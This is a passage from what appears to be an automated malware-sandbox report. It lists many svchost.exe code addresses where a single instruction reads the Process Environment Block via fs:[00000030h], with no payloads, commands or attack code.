Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336A6C7 mov eax, dword ptr fs:[00000030h]	1_2_0336A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03340535 mov eax, dword ptr fs:[00000030h]	1_2_03340535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03340535 mov eax, dword ptr fs:[00000030h]	1_2_03340535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03340535 mov eax, dword ptr fs:[00000030h]	1_2_03340535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03340535 mov eax, dword ptr fs:[00000030h]	1_2_03340535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03340535 mov eax, dword ptr fs:[00000030h]	1_2_03340535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03340535 mov eax, dword ptr fs:[00000030h]	1_2_03340535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0335E53E mov eax, dword ptr fs:[00000030h]	1_2_0335E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0335E53E mov eax, dword ptr fs:[00000030h]	1_2_0335E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0335E53E mov eax, dword ptr fs:[00000030h]	1_2_0335E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0335E53E mov eax, dword ptr fs:[00000030h]	1_2_0335E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0335E53E mov eax, dword ptr fs:[00000030h]	1_2_0335E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033C6500 mov eax, dword ptr fs:[00000030h]	1_2_033C6500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03404500 mov eax, dword ptr fs:[00000030h]	1_2_03404500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03404500 mov eax, dword ptr fs:[00000030h]	1_2_03404500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03404500 mov eax, dword ptr fs:[00000030h]	1_2_03404500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03404500 mov eax, dword ptr fs:[00000030h]	1_2_03404500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03404500 mov eax, dword ptr fs:[00000030h]	1_2_03404500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03404500 mov eax, dword ptr fs:[00000030h]	1_2_03404500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03404500 mov eax, dword ptr fs:[00000030h]	1_2_03404500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336656A mov eax, dword ptr fs:[00000030h]	1_2_0336656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336656A mov eax, dword ptr fs:[00000030h]	1_2_0336656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336656A mov eax, dword ptr fs:[00000030h]	1_2_0336656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03338550 mov eax, dword ptr fs:[00000030h]	1_2_03338550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03338550 mov eax, dword ptr fs:[00000030h]	1_2_03338550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033545B1 mov eax, dword ptr fs:[00000030h]	1_2_033545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033545B1 mov eax, dword ptr fs:[00000030h]	1_2_033545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B05A7 mov eax, dword ptr fs:[00000030h]	1_2_033B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B05A7 mov eax, dword ptr fs:[00000030h]	1_2_033B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B05A7 mov eax, dword ptr fs:[00000030h]	1_2_033B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336E59C mov eax, dword ptr fs:[00000030h]	1_2_0336E59C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03332582 mov eax, dword ptr fs:[00000030h]	1_2_03332582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03332582 mov ecx, dword ptr fs:[00000030h]	1_2_03332582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03364588 mov eax, dword ptr fs:[00000030h]	1_2_03364588
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0335E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0335E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0335E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0335E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0335E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0335E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0335E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0335E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0335E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0335E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0335E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0335E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0335E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0335E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0335E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0335E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033325E0 mov eax, dword ptr fs:[00000030h]	1_2_033325E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336C5ED mov eax, dword ptr fs:[00000030h]	1_2_0336C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336C5ED mov eax, dword ptr fs:[00000030h]	1_2_0336C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033365D0 mov eax, dword ptr fs:[00000030h]	1_2_033365D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336A5D0 mov eax, dword ptr fs:[00000030h]	1_2_0336A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336A5D0 mov eax, dword ptr fs:[00000030h]	1_2_0336A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336E5CF mov eax, dword ptr fs:[00000030h]	1_2_0336E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336E5CF mov eax, dword ptr fs:[00000030h]	1_2_0336E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0332E420 mov eax, dword ptr fs:[00000030h]	1_2_0332E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0332E420 mov eax, dword ptr fs:[00000030h]	1_2_0332E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0332E420 mov eax, dword ptr fs:[00000030h]	1_2_0332E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0332C427 mov eax, dword ptr fs:[00000030h]	1_2_0332C427
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B6420 mov eax, dword ptr fs:[00000030h]	1_2_033B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B6420 mov eax, dword ptr fs:[00000030h]	1_2_033B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B6420 mov eax, dword ptr fs:[00000030h]	1_2_033B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B6420 mov eax, dword ptr fs:[00000030h]	1_2_033B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B6420 mov eax, dword ptr fs:[00000030h]	1_2_033B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B6420 mov eax, dword ptr fs:[00000030h]	1_2_033B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B6420 mov eax, dword ptr fs:[00000030h]	1_2_033B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03368402 mov eax, dword ptr fs:[00000030h]	1_2_03368402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03368402 mov eax, dword ptr fs:[00000030h]	1_2_03368402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03368402 mov eax, dword ptr fs:[00000030h]	1_2_03368402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0335A470 mov eax, dword ptr fs:[00000030h]	1_2_0335A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0335A470 mov eax, dword ptr fs:[00000030h]	1_2_0335A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0335A470 mov eax, dword ptr fs:[00000030h]	1_2_0335A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033BC460 mov ecx, dword ptr fs:[00000030h]	1_2_033BC460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033EA456 mov eax, dword ptr fs:[00000030h]	1_2_033EA456
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0332645D mov eax, dword ptr fs:[00000030h]	1_2_0332645D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0335245A mov eax, dword ptr fs:[00000030h]	1_2_0335245A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336E443 mov eax, dword ptr fs:[00000030h]	1_2_0336E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336E443 mov eax, dword ptr fs:[00000030h]	1_2_0336E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336E443 mov eax, dword ptr fs:[00000030h]	1_2_0336E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336E443 mov eax, dword ptr fs:[00000030h]	1_2_0336E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336E443 mov eax, dword ptr fs:[00000030h]	1_2_0336E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336E443 mov eax, dword ptr fs:[00000030h]	1_2_0336E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336E443 mov eax, dword ptr fs:[00000030h]	1_2_0336E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336E443 mov eax, dword ptr fs:[00000030h]	1_2_0336E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033644B0 mov ecx, dword ptr fs:[00000030h]	1_2_033644B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033BA4B0 mov eax, dword ptr fs:[00000030h]	1_2_033BA4B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033364AB mov eax, dword ptr fs:[00000030h]	1_2_033364AB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033EA49A mov eax, dword ptr fs:[00000030h]	1_2_033EA49A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033304E5 mov ecx, dword ptr fs:[00000030h]	1_2_033304E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0335EB20 mov eax, dword ptr fs:[00000030h]	1_2_0335EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0335EB20 mov eax, dword ptr fs:[00000030h]	1_2_0335EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033F8B28 mov eax, dword ptr fs:[00000030h]	1_2_033F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033F8B28 mov eax, dword ptr fs:[00000030h]	1_2_033F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03402B57 mov eax, dword ptr fs:[00000030h]	1_2_03402B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03402B57 mov eax, dword ptr fs:[00000030h]	1_2_03402B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03402B57 mov eax, dword ptr fs:[00000030h]	1_2_03402B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03402B57 mov eax, dword ptr fs:[00000030h]	1_2_03402B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033AEB1D mov eax, dword ptr fs:[00000030h]	1_2_033AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033AEB1D mov eax, dword ptr fs:[00000030h]	1_2_033AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033AEB1D mov eax, dword ptr fs:[00000030h]	1_2_033AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033AEB1D mov eax, dword ptr fs:[00000030h]	1_2_033AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033AEB1D mov eax, dword ptr fs:[00000030h]	1_2_033AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033AEB1D mov eax, dword ptr fs:[00000030h]	1_2_033AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033AEB1D mov eax, dword ptr fs:[00000030h]	1_2_033AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033AEB1D mov eax, dword ptr fs:[00000030h]	1_2_033AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033AEB1D mov eax, dword ptr fs:[00000030h]	1_2_033AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0332CB7E mov eax, dword ptr fs:[00000030h]	1_2_0332CB7E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033DEB50 mov eax, dword ptr fs:[00000030h]	1_2_033DEB50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033E4B4B mov eax, dword ptr fs:[00000030h]	1_2_033E4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033E4B4B mov eax, dword ptr fs:[00000030h]	1_2_033E4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033C6B40 mov eax, dword ptr fs:[00000030h]	1_2_033C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033C6B40 mov eax, dword ptr fs:[00000030h]	1_2_033C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033FAB40 mov eax, dword ptr fs:[00000030h]	1_2_033FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033D8B42 mov eax, dword ptr fs:[00000030h]	1_2_033D8B42
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03340BBE mov eax, dword ptr fs:[00000030h]	1_2_03340BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03340BBE mov eax, dword ptr fs:[00000030h]	1_2_03340BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033E4BB0 mov eax, dword ptr fs:[00000030h]	1_2_033E4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033E4BB0 mov eax, dword ptr fs:[00000030h]	1_2_033E4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03338BF0 mov eax, dword ptr fs:[00000030h]	1_2_03338BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03338BF0 mov eax, dword ptr fs:[00000030h]	1_2_03338BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03338BF0 mov eax, dword ptr fs:[00000030h]	1_2_03338BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0335EBFC mov eax, dword ptr fs:[00000030h]	1_2_0335EBFC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033BCBF0 mov eax, dword ptr fs:[00000030h]	1_2_033BCBF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033DEBD0 mov eax, dword ptr fs:[00000030h]	1_2_033DEBD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03350BCB mov eax, dword ptr fs:[00000030h]	1_2_03350BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03350BCB mov eax, dword ptr fs:[00000030h]	1_2_03350BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03350BCB mov eax, dword ptr fs:[00000030h]	1_2_03350BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03330BCD mov eax, dword ptr fs:[00000030h]	1_2_03330BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03330BCD mov eax, dword ptr fs:[00000030h]	1_2_03330BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03330BCD mov eax, dword ptr fs:[00000030h]	1_2_03330BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03354A35 mov eax, dword ptr fs:[00000030h]	1_2_03354A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03354A35 mov eax, dword ptr fs:[00000030h]	1_2_03354A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336CA24 mov eax, dword ptr fs:[00000030h]	1_2_0336CA24
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0335EA2E mov eax, dword ptr fs:[00000030h]	1_2_0335EA2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033BCA11 mov eax, dword ptr fs:[00000030h]	1_2_033BCA11
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033ACA72 mov eax, dword ptr fs:[00000030h]	1_2_033ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033ACA72 mov eax, dword ptr fs:[00000030h]	1_2_033ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336CA6F mov eax, dword ptr fs:[00000030h]	1_2_0336CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336CA6F mov eax, dword ptr fs:[00000030h]	1_2_0336CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336CA6F mov eax, dword ptr fs:[00000030h]	1_2_0336CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033DEA60 mov eax, dword ptr fs:[00000030h]	1_2_033DEA60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03336A50 mov eax, dword ptr fs:[00000030h]	1_2_03336A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03336A50 mov eax, dword ptr fs:[00000030h]	1_2_03336A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03336A50 mov eax, dword ptr fs:[00000030h]	1_2_03336A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03336A50 mov eax, dword ptr fs:[00000030h]	1_2_03336A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03336A50 mov eax, dword ptr fs:[00000030h]	1_2_03336A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03336A50 mov eax, dword ptr fs:[00000030h]	1_2_03336A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03336A50 mov eax, dword ptr fs:[00000030h]	1_2_03336A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03340A5B mov eax, dword ptr fs:[00000030h]	1_2_03340A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03340A5B mov eax, dword ptr fs:[00000030h]	1_2_03340A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03338AA0 mov eax, dword ptr fs:[00000030h]	1_2_03338AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03338AA0 mov eax, dword ptr fs:[00000030h]	1_2_03338AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03386AA4 mov eax, dword ptr fs:[00000030h]	1_2_03386AA4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03368A90 mov edx, dword ptr fs:[00000030h]	1_2_03368A90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0333EA80 mov eax, dword ptr fs:[00000030h]	1_2_0333EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0333EA80 mov eax, dword ptr fs:[00000030h]	1_2_0333EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0333EA80 mov eax, dword ptr fs:[00000030h]	1_2_0333EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0333EA80 mov eax, dword ptr fs:[00000030h]	1_2_0333EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0333EA80 mov eax, dword ptr fs:[00000030h]	1_2_0333EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0333EA80 mov eax, dword ptr fs:[00000030h]	1_2_0333EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0333EA80 mov eax, dword ptr fs:[00000030h]	1_2_0333EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0333EA80 mov eax, dword ptr fs:[00000030h]	1_2_0333EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0333EA80 mov eax, dword ptr fs:[00000030h]	1_2_0333EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03404A80 mov eax, dword ptr fs:[00000030h]	1_2_03404A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336AAEE mov eax, dword ptr fs:[00000030h]	1_2_0336AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336AAEE mov eax, dword ptr fs:[00000030h]	1_2_0336AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03330AD0 mov eax, dword ptr fs:[00000030h]	1_2_03330AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03364AD0 mov eax, dword ptr fs:[00000030h]	1_2_03364AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03364AD0 mov eax, dword ptr fs:[00000030h]	1_2_03364AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03386ACC mov eax, dword ptr fs:[00000030h]	1_2_03386ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03386ACC mov eax, dword ptr fs:[00000030h]	1_2_03386ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03386ACC mov eax, dword ptr fs:[00000030h]	1_2_03386ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B892A mov eax, dword ptr fs:[00000030h]	1_2_033B892A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033C892B mov eax, dword ptr fs:[00000030h]	1_2_033C892B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033BC912 mov eax, dword ptr fs:[00000030h]	1_2_033BC912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03328918 mov eax, dword ptr fs:[00000030h]	1_2_03328918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03328918 mov eax, dword ptr fs:[00000030h]	1_2_03328918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033AE908 mov eax, dword ptr fs:[00000030h]	1_2_033AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033AE908 mov eax, dword ptr fs:[00000030h]	1_2_033AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033D4978 mov eax, dword ptr fs:[00000030h]	1_2_033D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033D4978 mov eax, dword ptr fs:[00000030h]	1_2_033D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033BC97C mov eax, dword ptr fs:[00000030h]	1_2_033BC97C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03356962 mov eax, dword ptr fs:[00000030h]	1_2_03356962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03356962 mov eax, dword ptr fs:[00000030h]	1_2_03356962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03356962 mov eax, dword ptr fs:[00000030h]	1_2_03356962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0337096E mov eax, dword ptr fs:[00000030h]	1_2_0337096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0337096E mov edx, dword ptr fs:[00000030h]	1_2_0337096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0337096E mov eax, dword ptr fs:[00000030h]	1_2_0337096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B0946 mov eax, dword ptr fs:[00000030h]	1_2_033B0946
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B89B3 mov esi, dword ptr fs:[00000030h]	1_2_033B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B89B3 mov eax, dword ptr fs:[00000030h]	1_2_033B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B89B3 mov eax, dword ptr fs:[00000030h]	1_2_033B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033429A0 mov eax, dword ptr fs:[00000030h]	1_2_033429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033429A0 mov eax, dword ptr fs:[00000030h]	1_2_033429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033429A0 mov eax, dword ptr fs:[00000030h]	1_2_033429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033429A0 mov eax, dword ptr fs:[00000030h]	1_2_033429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033429A0 mov eax, dword ptr fs:[00000030h]	1_2_033429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033429A0 mov eax, dword ptr fs:[00000030h]	1_2_033429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033429A0 mov eax, dword ptr fs:[00000030h]	1_2_033429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033429A0 mov eax, dword ptr fs:[00000030h]	1_2_033429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033429A0 mov eax, dword ptr fs:[00000030h]	1_2_033429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033429A0 mov eax, dword ptr fs:[00000030h]	1_2_033429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033429A0 mov eax, dword ptr fs:[00000030h]	1_2_033429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033429A0 mov eax, dword ptr fs:[00000030h]	1_2_033429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033429A0 mov eax, dword ptr fs:[00000030h]	1_2_033429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033309AD mov eax, dword ptr fs:[00000030h]	1_2_033309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033309AD mov eax, dword ptr fs:[00000030h]	1_2_033309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033629F9 mov eax, dword ptr fs:[00000030h]	1_2_033629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033629F9 mov eax, dword ptr fs:[00000030h]	1_2_033629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033BE9E0 mov eax, dword ptr fs:[00000030h]	1_2_033BE9E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0333A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0333A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0333A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0333A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0333A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0333A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0333A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0333A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0333A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0333A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0333A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0333A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033649D0 mov eax, dword ptr fs:[00000030h]	1_2_033649D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033FA9D3 mov eax, dword ptr fs:[00000030h]	1_2_033FA9D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033C69C0 mov eax, dword ptr fs:[00000030h]	1_2_033C69C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03352835 mov eax, dword ptr fs:[00000030h]	1_2_03352835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03352835 mov eax, dword ptr fs:[00000030h]	1_2_03352835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03352835 mov eax, dword ptr fs:[00000030h]	1_2_03352835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03352835 mov ecx, dword ptr fs:[00000030h]	1_2_03352835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03352835 mov eax, dword ptr fs:[00000030h]	1_2_03352835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03352835 mov eax, dword ptr fs:[00000030h]	1_2_03352835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336A830 mov eax, dword ptr fs:[00000030h]	1_2_0336A830
